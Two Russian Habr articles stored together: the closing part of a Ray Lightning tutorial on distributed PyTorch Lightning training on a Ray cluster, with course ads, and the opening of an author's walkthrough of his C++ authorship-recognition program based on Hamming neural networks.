* Легко масштабировать: пишем один код для одного GPU и меняем один параметр для перехода на больший кластер.
* Он работает с Jupyter Notebook: запустив Ray Lightning, вы получите доступ ко всему кластеру.
* При помощи [Ray Cluster Launcher](https://docs.ray.io/en/latest/cluster/cloud.html) легко настроить многоузловой кластер на AWS/Azure/GCP.
* Для крупномасштабного распределённого поиска гиперпараметров он интегрируется с [Ray Tune](https://docs.ray.io/en/latest/tune/index.html) и алгоритмами SOTA.
* А главное — он бесплатный, его исходный код открыт!
Под капотом Ray Lightning — [Ray](https://ray.io/), простая библиотека распределённых вычислений на Python.
Как работает Ray Lightning?
---------------------------
[Ray Lightning](https://github.com/ray-project/ray_lightning) задействует интерфейс плагина PyTorch Lightning, чтобы предложить RayPlugin, который вы можете добавить в Trainer. Он работает аналогично плагину DDPSpawn, но вместо новых процессов для обучения создаёт новые [акторы Ray](https://docs.ray.io/en/master/actors.html). Акторы — это также процессы Python, но их можно запланировать в любом месте кластера Ray, что позволяет программировать, не выходя из сценария Python.
Взаимодействие акторов Ray в многоузловом кластереУ каждого актора есть копия LightningModule, акторы автоматически устанавливают корректные переменные окружения и вместе создают группу взаимодействия PyTorch. Ray запускает стандартный DistributedDataParallel с той же производительностью, но обучение выполняется программно, а экземпляры по мере обучения автоматически масштабируются вертикально.
Управление кластером
--------------------
Обычно управление кластерами без команды, работающей с платформой машинного обучения или инфраструктурой, — это мучение. Но только не с Ray, где кластер запускается специальным [инструментом](https://docs.ray.io/en/master/cluster/cloud.html).
Этоn инструмент поддерживает AWS, GCP, Azure, и в нём есть оператор Kubernetes, поэтому программа на Ray запускается где угодно. Выполняемый в кластере Ray код легко мигрирует или переносится с одного облака на другое. Чтобы запустить кластер Ray на AWS, нужен конфигурационный файл YAML:
```
cluster_name: ml
# Cloud-provider specific configuration.
provider:
type: aws
region: us-west-2
availability_zone: us-west-2a,us-west-2b
# How Ray will authenticate with newly launched nodes.
auth:
ssh_user: ubuntu
head_node:
InstanceType: p3.8xlarge
ImageId: latest_dlami
# You can provision additional disk space with a conf as follows
BlockDeviceMappings:
- DeviceName: /dev/sda1
Ebs:
VolumeSize: 100
worker_nodes:
InstanceType: p3.2xlarge
ImageId: latest_dlami
file_mounts: {
"/path1/on/remote/machine": "/path1/on/local/machine",
}
# List of shell commands to run to set up nodes.
setup_commands:
- pip install -U ray-lightning
```
Данные в file\_mounts синхронизируются со всеми узлами кластера, поэтому обучающий сценарий помещаем сюда. Любые дополнительно устанавливаемые зависимости (например, pip install foobar) указываем в setup\_commands. Они установятся на всех узлах кластера.
Заполучив файл YAML, выполняем ray up cluster.yaml, чтобы создать и запустить кластер. Выполняем ray attach cluster.yaml, чтобы подключиться по ssh к головному узлу кластера Ray.
Когда ресурсов запрашивается больше, чем доступно в текущем кластере, средство запуска кластеров автоматически добавляет новые узлы, автоматически удаляя неиспользуемые.
Теперь соберём всё
------------------
Посмотрим, как легко обучить простой классификатор MNIST в облаке.
Установка
---------
Установите Ray Lightning:
```
pip install ray-lightning
```
Также будут установлены PyTorch Lightning и Ray.
Вернёмся к PyTorch Lightning
----------------------------
Подготовим код PyTorch Lightning. Создадим модель классификатора — экземпляр LightningModule. Вот пример простого классификатора MNIST из [руководства](https://pytorch-lightning.readthedocs.io/en/latest/starter/introduction_guide.html) по PyTorch Lightning:
```
import pytorch_lightning as pl
import torch
from torch.utils.data import random_split, DataLoader
from torchvision.datasets import MNIST
from torchvision import transforms
class LightningMNISTClassifier(pl.LightningModule):
def __init__(self, config, data_dir=None):
super(LightningMNISTClassifier, self).__init__()
self.data_dir = data_dir
self.lr = config["lr"]
layer_1, layer_2 = config["layer_1"], config["layer_2"]
self.batch_size = config["batch_size"]
# mnist images are (1, 28, 28) (channels, width, height)
self.layer_1 = torch.nn.Linear(28 * 28, layer_1)
self.layer_2 = torch.nn.Linear(layer_1, layer_2)
self.layer_3 = torch.nn.Linear(layer_2, 10)
self.accuracy = pl.metrics.Accuracy()
def forward(self, x):
batch_size, channels, width, height = x.size()
x = x.view(batch_size, -1)
x = self.layer_1(x)
x = torch.relu(x)
x = self.layer_2(x)
x = torch.relu(x)
x = self.layer_3(x)
x = F.softmax(x, dim=1)
return x
def configure_optimizers(self):
return torch.optim.Adam(self.parameters(), lr=self.lr)
def training_step(self, train_batch, batch_idx):
x, y = train_batch
logits = self.forward(x)
loss = F.nll_loss(logits, y)
acc = self.accuracy(logits, y)
self.log("ptl/train_loss", loss)
self.log("ptl/train_accuracy", acc)
return loss
def validation_step(self, val_batch, batch_idx):
x, y = val_batch
logits = self.forward(x)
loss = F.nll_loss(logits, y)
acc = self.accuracy(logits, y)
return {"val_loss": loss, "val_accuracy": acc}
def validation_epoch_end(self, outputs):
avg_loss = torch.stack([x["val_loss"] for x in outputs]).mean()
avg_acc = torch.stack([x["val_accuracy"] for x in outputs]).mean()
self.log("ptl/val_loss", avg_loss)
self.log("ptl/val_accuracy", avg_acc)
def prepare_data(self):
self.dataset = MNIST(
self.data_dir,
train=True,
download=True,
transform=transforms.ToTensor())
def train_dataloader(self):
dataset = self.dataset
train_length = len(dataset)
dataset_train, _ = random_split(
dataset, [train_length - 5000, 5000],
generator=torch.Generator().manual_seed(0))
loader = DataLoader(
dataset_train,
batch_size=self.batch_size,
num_workers=1,
drop_last=True,
pin_memory=True,
)
return loader
def val_dataloader(self):
dataset = self.dataset
train_length = len(dataset)
_, dataset_val = random_split(
dataset, [train_length - 5000, 5000],
generator=torch.Generator().manual_seed(0))
loader = DataLoader(
dataset_val,
batch_size=self.batch_size,
num_workers=1,
drop_last=True,
pin_memory=True,
)
```
Создадим экземпляр модели и Trainer, обучим медель:
```
model = LightningMNISTClassifier(config, data_dir="./")
trainer = pl.Trainer(max_epochs=10)
trainer.fit(model)
```
Этого достаточно для однопоточного выполнения. Приступим к обучению на ноутбуке. Распараллелим процесс на большой кластер, используя GPU и Ray Lightning.
Параллельное выполнение на ноутбуке
-----------------------------------
Распараллелим обучение между ядрами ноутбука, добавив RayPlugin в Trainer и отключив графические процессоры:
```
import ray
from ray_lightning import RayPlugin
class LightningMNISTClassifier(...):
# ... etc
# variables for Ray around parallelism and hardware
num_workers = 8
use_gpu = False
# Initialize ray.
ray.init()
model = LightningMNISTClassifier(config, data_dir)
trainer = pl.Trainer(
max_epochs=10,
plugins=[RayPlugin(num_workers=num_workers, use_gpu=use_gpu)])
trainer.fit(model)
```
Снова запускаем сценарий, небольшими изменениями распределив обучение на 8 воркеров, то есть процессов.
Обучение на множестве узлов кластере Ray
----------------------------------------
Чтобы распараллелить обучение на кластере с несколькими графическими процессорами и узлами, задействуем средство запуска кластеров Ray с RayPlugin. Запускаем кластер:
```
ray up cluster.yaml
```
В file\_mounts обязательно вставить обучающий сценарий, а также прописать все зависимости pip в разделе setup\_commands. Полное пошаговое руководство со всевозможными конфигурациями файла YAML, смотрите [здесь](https://docs.ray.io/en/master/cluster/cloud.html).
Запустив кластер, по SSH подключаемся к головному узлу:
```
ray attach cluster.yaml
```
Добавленный в file\_mounts из cluster.yaml обучающий сценарий синхронизируется с этим головным узлом. В том же коде меняем две строки:
* `ray.init()`-> `ray.init("auto")` чтобы Ray подключился к кластеру, а не запустил локальный экземпляр.
* `use_gpu` устанавливаем в True, а в `num_workers` указываем общее число процессов/GPU.
И выполняем скрипт:
```
python train.py
```
Не конфигурируя кластер и почти не изменяя код, мы запустили задачу обучения с распределёнными данными, несколькими узлами и GPU.
Заключение
----------
Мы подготовили всё для многоузлового обучения на GPU, но [Ray Lightning](https://github.com/ray-project/ray_lightning) не ограничивается этим:
* Если стандартный PyTorch DDP вам не по душе, попробуйте [RayHorovodPlugin](https://github.com/ray-project/ray_lightning#horovod-plugin-on-ray) с [Horovod](https://github.com/horovod/horovod) вместо DDP для базового протокола распределённого обучения, а также [RayShardedPlugin](https://github.com/ray-project/ray_lightning#model-parallel-sharded-training-on-ray) — (эффективная в смысле модельпараллельного обучения с [Fairscale](https://github.com/facebookresearch/fairscale)).
* [Ray Lightning](https://github.com/ray-project/ray_lightning) также интегрируется с [Ray Tune](https://docs.ray.io/en/master/tune/index.html), позволяя проводить эксперименты по настройке распределённых гиперпараметров с каждым прогоном распараллеленного обучения. Подробности в полном [руководстве](https://docs.ray.io/en/master/auto_examples/using-ray-with-pytorch-lightning.html) по Ray+PyTorch Lightning E2E.
* Для обучения в облаке [используйте](https://docs.ray.io/en/master/cluster/ray-client.html) Ray Client. Подробности [здесь](https://github.com/ray-project/ray_lightning#multi-node-training-from-your-laptop).
Попробовать Ray Lightning в деле вы сможете на нашем [курсе по Data Science](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_130921&utm_term=cat), в конце которого ждёт специализация в Machine Learning. Также вы можете перейти на страницы [других курсов](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_130921&utm_term=conc), чтобы узнать, как мы готовим специалистов в других направлениях:
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_130921&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_130921&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_130921&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_130921&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_130921&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_130921&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_130921&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_130921&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_130921&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_130921&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_130921&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_130921&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_130921&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_130921&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_130921&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_130921&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_130921&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_130921&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_130921&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_130921&utm_term=cat)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_130921&utm_term=cat) | https://habr.com/ru/post/577378/ | null | ru | null |
# Текстовый анализатор: распознавание авторства (начало)
Добрый день, уважаемые хабражители. Я давно хотел опубликовать под GPL-лицензией свой «Текстовый анализатор» ([[1]](http://sourceforge.net/projects/textanalyzerv04/)). Наконец, дошли руки. «Текстовый анализатор» — это исследовательский проект, который я разрабатывал три года на 3, 4 и 5-м курсах университета. Главная цель была: создать алгоритм распознавания авторства текста, используя нейросети Хэмминга или Хопфилда. Идея была такова: эти нейросистемы распознают образы, а к задаче распознавания образов можно свести задачу выявления авторства. Для этого необходимо по каждому тексту собрать статистику, и чем больше разных критериев, тем лучше: частотный анализ букв, анализ длин слов/предложений/абзацев, частотный анализ двухбуквенных сочетаний, и так далее. Нейросистема могла бы выявить, характеристики каких текстов наиболее сходны. Работы было — вал. Много кода, хитрые алгоритмы, ООП, паттерны проектирования. Помимо основной задачи я так же реализовал ещё одно ноу-хау: «Карту благозвучия». По задумке, такая карта должна показывать все плохо и хорошо звучащие места, выделяя их цветом. Критерии оценки благозвучия должны задаваться каким-то универсальным образом, например, правилами. Для этой цели я даже разработал специальный графический язык, RRL (Resounding Rules Language). Работы было — вал. Много кода, хитрые алгоритмы, ООП, паттерны проектирования. В итоге получилась большая и сложная программа, правда, с неприглядным интерфейсом. С этим проектом я даже выиграл в конкурсе дипломных работ, получил 1 и 3 места на университетских конференциях, а так же 2 место на международной научно-практической.
Прошло более двух лет, и я с трудом вспоминаю, как оно работает. Давайте вместе попробуем разобраться, что там под ~~катом~~ капотом алгоритма, который распознаёт авторство. Ну а карту благозвучия оставим на следующую статью.
(У статьи есть [продолжение](http://habrahabr.ru/blogs/development/114187/) и [окончание](http://habrahabr.ru/blogs/development/114188/).)
Структура статьи:
1. [Анализ авторства](#part1)
2. [Знакомство с кодом](#ref1)
3. [Внутренности TAuthoringAnalyser и хранение текстов](#ref2)
4. [Разбиение на уровни конечным автоматом на стратегиях](#ref3)
5. [Сбор частотных характеристик](#ref4)
6. [Нейросеть Хэмминга и анализ авторства](#ref5)
Дополнительные материалы:
* [Исходники](http://sourceforge.net/projects/textanalyzerv04/files/TextAnalyser%200.4%20alpha/) проекта «Текстовый анализатор» (Borland C++ Builder 6.0)
* Тестирование нейросистемы Хэмминга в Excel'е ([[xls]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Hamming%20neurosystem%20test.xls/download))
* Таблица переходов для КА, разбивающего текст на уровни ([[xls]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Finite%20State%20Machine.xls/download))
* Расчет благозвучия отдельных букв ([[xls]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Letters%20euphony.xls/download))
* Презентация дипломного проекта «Текстовый анализатор» ([[ppt]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Presentation%20of%20Granin%20Alexander_s%20diplomas.ppt/download))
* Презентация проекта «Карта благозвучия» ([[ppt]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Presentation%20of%20Granin%20Alexander_s%20Euphony%20map.ppt/download))
* Все эти материалы в сжатом виде ([[zip]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Materials.zip/download), [[7z]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Materials.7z/download), [[rar]](http://sourceforge.net/projects/textanalyzerv04/files/Materials/Materials.rar/download))
#### 1. Анализ авторства
Нужно:
1. загрузить тексты-образцы и «ключевой» текст (авторство которго неизвестно);
2. определить сравнимые образцы текстов:
* разбить тексты на слова, предложения, абзацы,
* составить одинаковые по длине блоки из слов, предложений, абзацев для каждого текста,
* выбрать только сравнимые блоки одинаковых размеров для уровней «слова», «предложения», «абзацы»;
3. собрать статистику по этим трем уровням;
4. загрузить данные в нейросистему Хэмминга;
5. провести распознавание образа с её помощью;
6. выявить на всех трех уровнях тексты-образцы, которые наиболее близки к ключевому тексту по характеристикам. Вероятно, авторам этих текстов и принадлежит ключевой текст.
Вот какие можно сделать выводы из плана:
* Будет работа с большими объемами данных, вплоть до мегабайтов — в зависимости от текстов.
* Тексты могут быть совсем разных размеров: от рассказов до многотомных романов. Следовательно, нужно как-то обеспечить базовую сравнимость разных произведений.
* Пункт 2 нужен для повышения точности распознавания, для дифференцирования процесса по уровням и для обеспечения базовой сравнимости текстов.
* Разбор текста по словам, предложениям и абзацам — это задача для конечного автомата.
* Статистик разных может быть много, хотелось бы, чтобы они собирались универсальным образом, чтобы всегда можно было добавить ещё какие-нибудь алгоритмы сбора.
* Нейросистема Хэмминга работает только с определенной информацией, а значит, нужно преобразовывать собранные данные к виду, который она понимает.
##### 2. Знакомство с кодом
Для «разогрева» рассмотрим сначала класс главной формы — TAuthoringAnalyserTable ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/fAuthoringAnalyserTable.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/fAuthoringAnalyserTable.h?revision=1&view=markup)). (Если «разогрев» не нужен, можно сразу перейти к следующему разделу.) Сама форма ужасна, юзабилити, можно сказать, на нуле. Но нас интересует код, а не кнопочки-формочки.
В начале cpp-файла видим инстанцированние классов:
> `Copy Source | Copy HTML1. TVCLControllersFasade VCLFasade; // 1 - фасад по работе с VCL
> 2. TAnalyserControllersFasade AnalyserFasade; // 2 - фасад алгоритмов анализа
> 3. TVCLViewsContainer ViewsContainer; // 3 - контейнер визуальных компонентов`
Здесь для (1) и (2) применен паттерн «Фасад» (Facade, [[1]](http://habrahabr.ru/blogs/complete_code/87110/), [[2]](http://en.wikipedia.org/wiki/Facade_pattern), [[3]](http://design-pattern.ru/patterns/remote-facade.html), [[4]](http://sourcemaking.com/design_patterns/facade)). Внутри класса-фасада (1) скрыт большой интерфейс для работы с визуальными компонентами VCL. Именно там прописаны реакции на нажатие кнопок «Загрузить текст», на обновление списка текстов, и вообще на любое событие от формы. Форма обращается к этим функциям, не зная, что произойдет. Фасад скрывает от формы всё лишнее. Но, на самом деле, VCLFasade ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Contorllers/CVCLControllersFasade.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Contorllers/CVCLControllersFasade.h?revision=1&view=markup)) только связывает события от форм и алгоритмы; в нем нет этих алгоритмов, а лежат они где-то дальше в другом фасаде — (2), AnalyserFasade ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Contorllers/CAnalyserControllersFasade.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Contorllers/CAnalyserControllersFasade.h?revision=1&view=markup)). Класс (1) всего лишь перенаправляет вызовы объекту (2) и делает дополнительную работу вроде заполнения визуального компонента «Список». Да, такая вот монструозная конструкция: объект (1) знает об объекте (2) и его функциях. Откуда он знает? В конструкторе главной формы, чуть ниже, есть параметризация первого фасада вторым:
> `Copy Source | Copy HTML1. // .......
> 2. VCLFasade.SetAnalyserControllersFasade(&AnalyserFasade); // Параметризация одного объекта другим.
> 3. // .......`
Сейчас я уже не уверен, что класс (1) — это «Фасад», возможно, это что-то другое, или вообще просто так. Хорошо было бы поместить фасады в паттерн «Одиночка» (Singleton, [[1]](http://habrahabr.ru/blogs/personal/31375/), [[2]](http://habrahabr.ru/blogs/complete_code/27108/), [[3]](http://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%B8%D0%BD%D0%BE%D1%87%D0%BA%D0%B0_%28%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%29), [[4]](http://sourcemaking.com/design_patterns/singleton)). К сожалению, два года назад я до этого не додумался. Не то чтобы программа пострадала, нет, всё работает, как и должно работать. Но мы теряем некоторые возможности, связанные с паттерном «Одиночка». Ведь мы не можем создавать несколько точек входа в одну подсистему? Не можем. Стоило бы это запретить.
Что ещё есть интересного в конструкторе главной формы?
> `Copy Source | Copy HTML1. // .......
> 2. VCLFasade.SetViewsContainer(&ViewsContainer); // В фасад (1) передаются контейнер представлений
> 3. VCLFasade.SetAuthoringAnalyserTable(this); // и указатель на главную форму.
> 4.
> 5. /\* Прим.: Можно сделать вывод, что где-то есть циклические включения h-файлов и,
> возможно, предопределения. Конечно, это плохо, но вот так вот сложилось тогда. \*/
> 6.
> 7. // Параметризация фасада (2) репортинговой системой:
> 8. AnalyserFasade.SetAuthoringAnalysisReporter(&AnalysisReporter);
> 9. AnalyserFasade.SetResoundingAnalysisReporter(&AnalysisReporter);
> 10. // .......
> 11.`
А дальше — большая простыня по заполнению контейнера визуальных компонентов (контролов). С формы берется элемент (например, кнопка) и заносится в контейнер, причем — в свою группу:
> `Copy Source | Copy HTML1. // .......
> 2. TVCLViewsContainer \* vc = &ViewsContainer // Для сокращения имени.
> 3.
> 4. vc->AddViewsGroup(cCurrentTextInfo); // Создаём группу компонентов, cCurrentTextInfo - текстовое имя группы.
> 5. vc->AddView(cCurrentTextInfo, LCurrentTextNumber); // LCurrentTextNumber, LCurrentTextAuthor,
> 6. vc->AddView(cCurrentTextInfo, LCurrentTextAuthor); // LCurrentTextTitle и т. д. - это указатели на визуальные компоненты.
> 7. vc->AddView(cCurrentTextInfo, LCurrentTextTitle); // Например: TLabel \*LCurrentTextNumber;
> 8. vc->AddView(cCurrentTextInfo, CLBTextsListBox);
> 9. vc->AddView(cCurrentTextInfo, MSelectedTextPreview);
> 10. vc->AddViewsGroup(cKeyTextInfo); // Создаём ещё одну группу.
> 11. vc->AddView(cKeyTextInfo, LKeyTextNumber);
> 12. vc->AddView(cKeyTextInfo, LKeyTextAuthor);
> 13. vc->AddView(cKeyTextInfo, LKeyTextTitle);
> 14. vc->AddView(cKeyTextInfo, CLBTextsListBox);
> 15. // ...и так далее...
> 16.`
Довольно любопытный подход, хотя и не очень понятный. Контролы передаются в контейнер (3), который в свою очередь, передается фасаду (1). Там, очевидно, контролы каким-то образом используются. После рассмотрения классов TVCLViewsContainer ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Views/VVCLViewsContainer.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Views/VVCLViewsContainer.h?revision=1&view=markup)) и TVCLView ([[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Views/VVCLView.h?revision=1&view=markup)), становится ясно, что всё, что делается с контролами — это Update, Show/Hide, Enable/Disable, причем группами. Целиком можно обновить одну группу, скрыть другую, зная только имя… Для чего это было нужно, сейчас могу только догадываться. Этот подход нарушает инкапсуляцию, поскольку с контролами можно сделать что угодно, вплоть до удаления. Они выносятся за скобки своей формы, чем рискуют быть измененными.
В классе главной формы больше ничего интересного нет, поэтому посмотрим поближе на класс (2) ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Contorllers/CAnalyserControllersFasade.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/Contorllers/CAnalyserControllersFasade.h?revision=1&view=markup)). Этот второй фасад уже настоящий, без шуток, разве что название записано через S, а не C («Facade» — правильное написание слова, как оно дано везде, в том числе и в GOF ([[1]](http://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F), [[2]](http://en.wikipedia.org/wiki/Design_Patterns_%28book%29), [[3]](http://www.ozon.ru/context/detail/id/2457392/))). Класс упрощает работу с подсистемами анализа, скрывая реальные классы за интерфейсами. А реальных классов там три:
> `Copy Source | Copy HTML1. class TAnalyserControllersFasade
> 2. {
> 3. TTextsController \_TextsController;
> 4. TAuthoringAnalyser \_AuthoringAnalyser;
> 5. TResoundingMapAnalyser \_ResoundingAnalyser;
> 6. // .......`
Простые функции класса TAnalyserControllersFasade обращаются к более сложным функциям трех реальных классов, но клиент ничего об этой сложности не знает. Это упрощает разработку и использование. Загружаем тексты (функции LoadAsPrototype(), LoadAsKeyText()), загружаем настройки анализаторов (LoadResoundingAnalysisRules()), запускаем анализ (функция DoAnalysis()), и оно каким-то магическим образом где-то там работает. Если приглядимся к функции DoAnalysis(), то увидим, что нужный анализ вызывается по текстовому имени. Это — хорошо. Плохо то, что в паре с фасадом это не очень расширяемое решение. Если бы я захотел провести еще какой-то анализ, например, проверку грамматики, мне нужно было бы добавить четвертый реальный класс — GrammarAnalyser, — и прописать в фасаде несколько дополнительных функций. А если я пишу суперуниверсальный инструмент для анализа текста, и у меня таких анализаторов — тьма-тьмущая? Тогда бы пришлось придумывать унифицированные интерфейсы, поднимать абстракцию над анализаторами, делать изменяемые в run-time алгоритмы… Получилось бы очень… очень. К счастью, я страдаю чуть меньшей манией гигантизма, да и не требовалось на тот момент.
[##### 3. Внутренности TAuthoringAnalyser и хранение текстов](#ref2)
Заглянем в класс TAuthoringAnalyser ([[cpp]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/AuthoringAnalysis/DAuthoringAnalyser.cpp?revision=1&view=markup), [[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/AuthoringAnalysis/DAuthoringAnalyser.h?revision=1&view=markup)) — реальный класс, делающий реальный анализ авторства. Уже в самом начале h-файла бросаются в глаза монструозные typedef's:
> `Copy Source | Copy HTML1. class TAuthoringAnalyser : public TAnalyser
> 2. {
> 3. public:
> 4.
> 5. typedef map<TTextString, ParSentWordFSM::TCFCustomUnitDivisionTreeItem, less<TTextString> > TTextsParSentWordTrees;
> 6. typedef map<TUInt, TRangeMapsEqualifer::TEqualifiedMapsContainer, less<TUInt> > TLeveledEqualifiedMaps;
> 7. typedef map<TUInt, TFrequencyTablesContainer, less<TUInt> > TLeveledFrequencyContainers;
> 8. typedef map<TUInt, TTextString, less<TUInt> > TIndexToAliasAssociator;
> 9. typedef map<TUInt, TIndexToAliasAssociator, less<TUInt> > TLeveledIndexToAliasAssociators;
> 10.
> 11. // <Небезопасный код> // Прим.: чем этот код небезопасен, вспомнить вряд ли удастся...
> 12. typedef map<TUInt, TResultVector, less<TUInt> > TLeveledResultVectors;
> 13. //
> 14. // .......
> 15.`
Эти типы нужны, чтобы хранить все промежуточные данные, вычисления, результаты. Так, TTextsParSentWordTrees содержит, очевидно, структурные деревья текстов: «Весь текст -> абзацы -> предложения -> слова»; TLeveledFrequencyContainers содержит распределенные по уровням частотные характеристики текстов, ну и так далее. Еще можно заметить, что переопределены все встроенные типы ([[h]](http://textanalyzerv04.svn.sourceforge.net/viewvc/textanalyzerv04/0.4%20alpha/UTypes.h?revision=1&view=markup)). TUInt == unsigned int, TTextString == AnsiString. Трудно представить, когда бы это могло пригодиться. Переопределенные типы, конечно, можно изменить за мгновение ока, не внося правок в файлы проекта, но как часто возникают подобные ситуации? Когда вдруг оказывается, что 32-битного целого не хватает? Когда внезапно AnsiString перестал нас удовлетворять, и мы захотели std::string? Слишком гипотетическая ситуация, и случается прежде всего с плохо спроектированной программой. Как бы то ни было, типы переопределены, не очень мешают, не очень помогают, — и к этому придётся привыкнуть.
Чуть ниже в защищенной секции нашего анализатора-фасада объявляются объекты этих и других типов:
> `Copy Source | Copy HTML1. // .......
> 2. private:
> 3. TTextsConfigurator \*\_AllTextsConfigurator;
> 4. TTextsConfigurator \_AnalysedTextsConfigurator;
> 5. TTextsParSentWordTrees \_Trees;
> 6. TLeveledEqualifiedMaps \_LeveledEqualifiedMaps;
> 7. TLeveledFrequencyContainers \_FrequencyContainers;
> 8. TLeveledIndexToAliasAssociators \_IndexToAliasAssociators;
> 9. // .......`
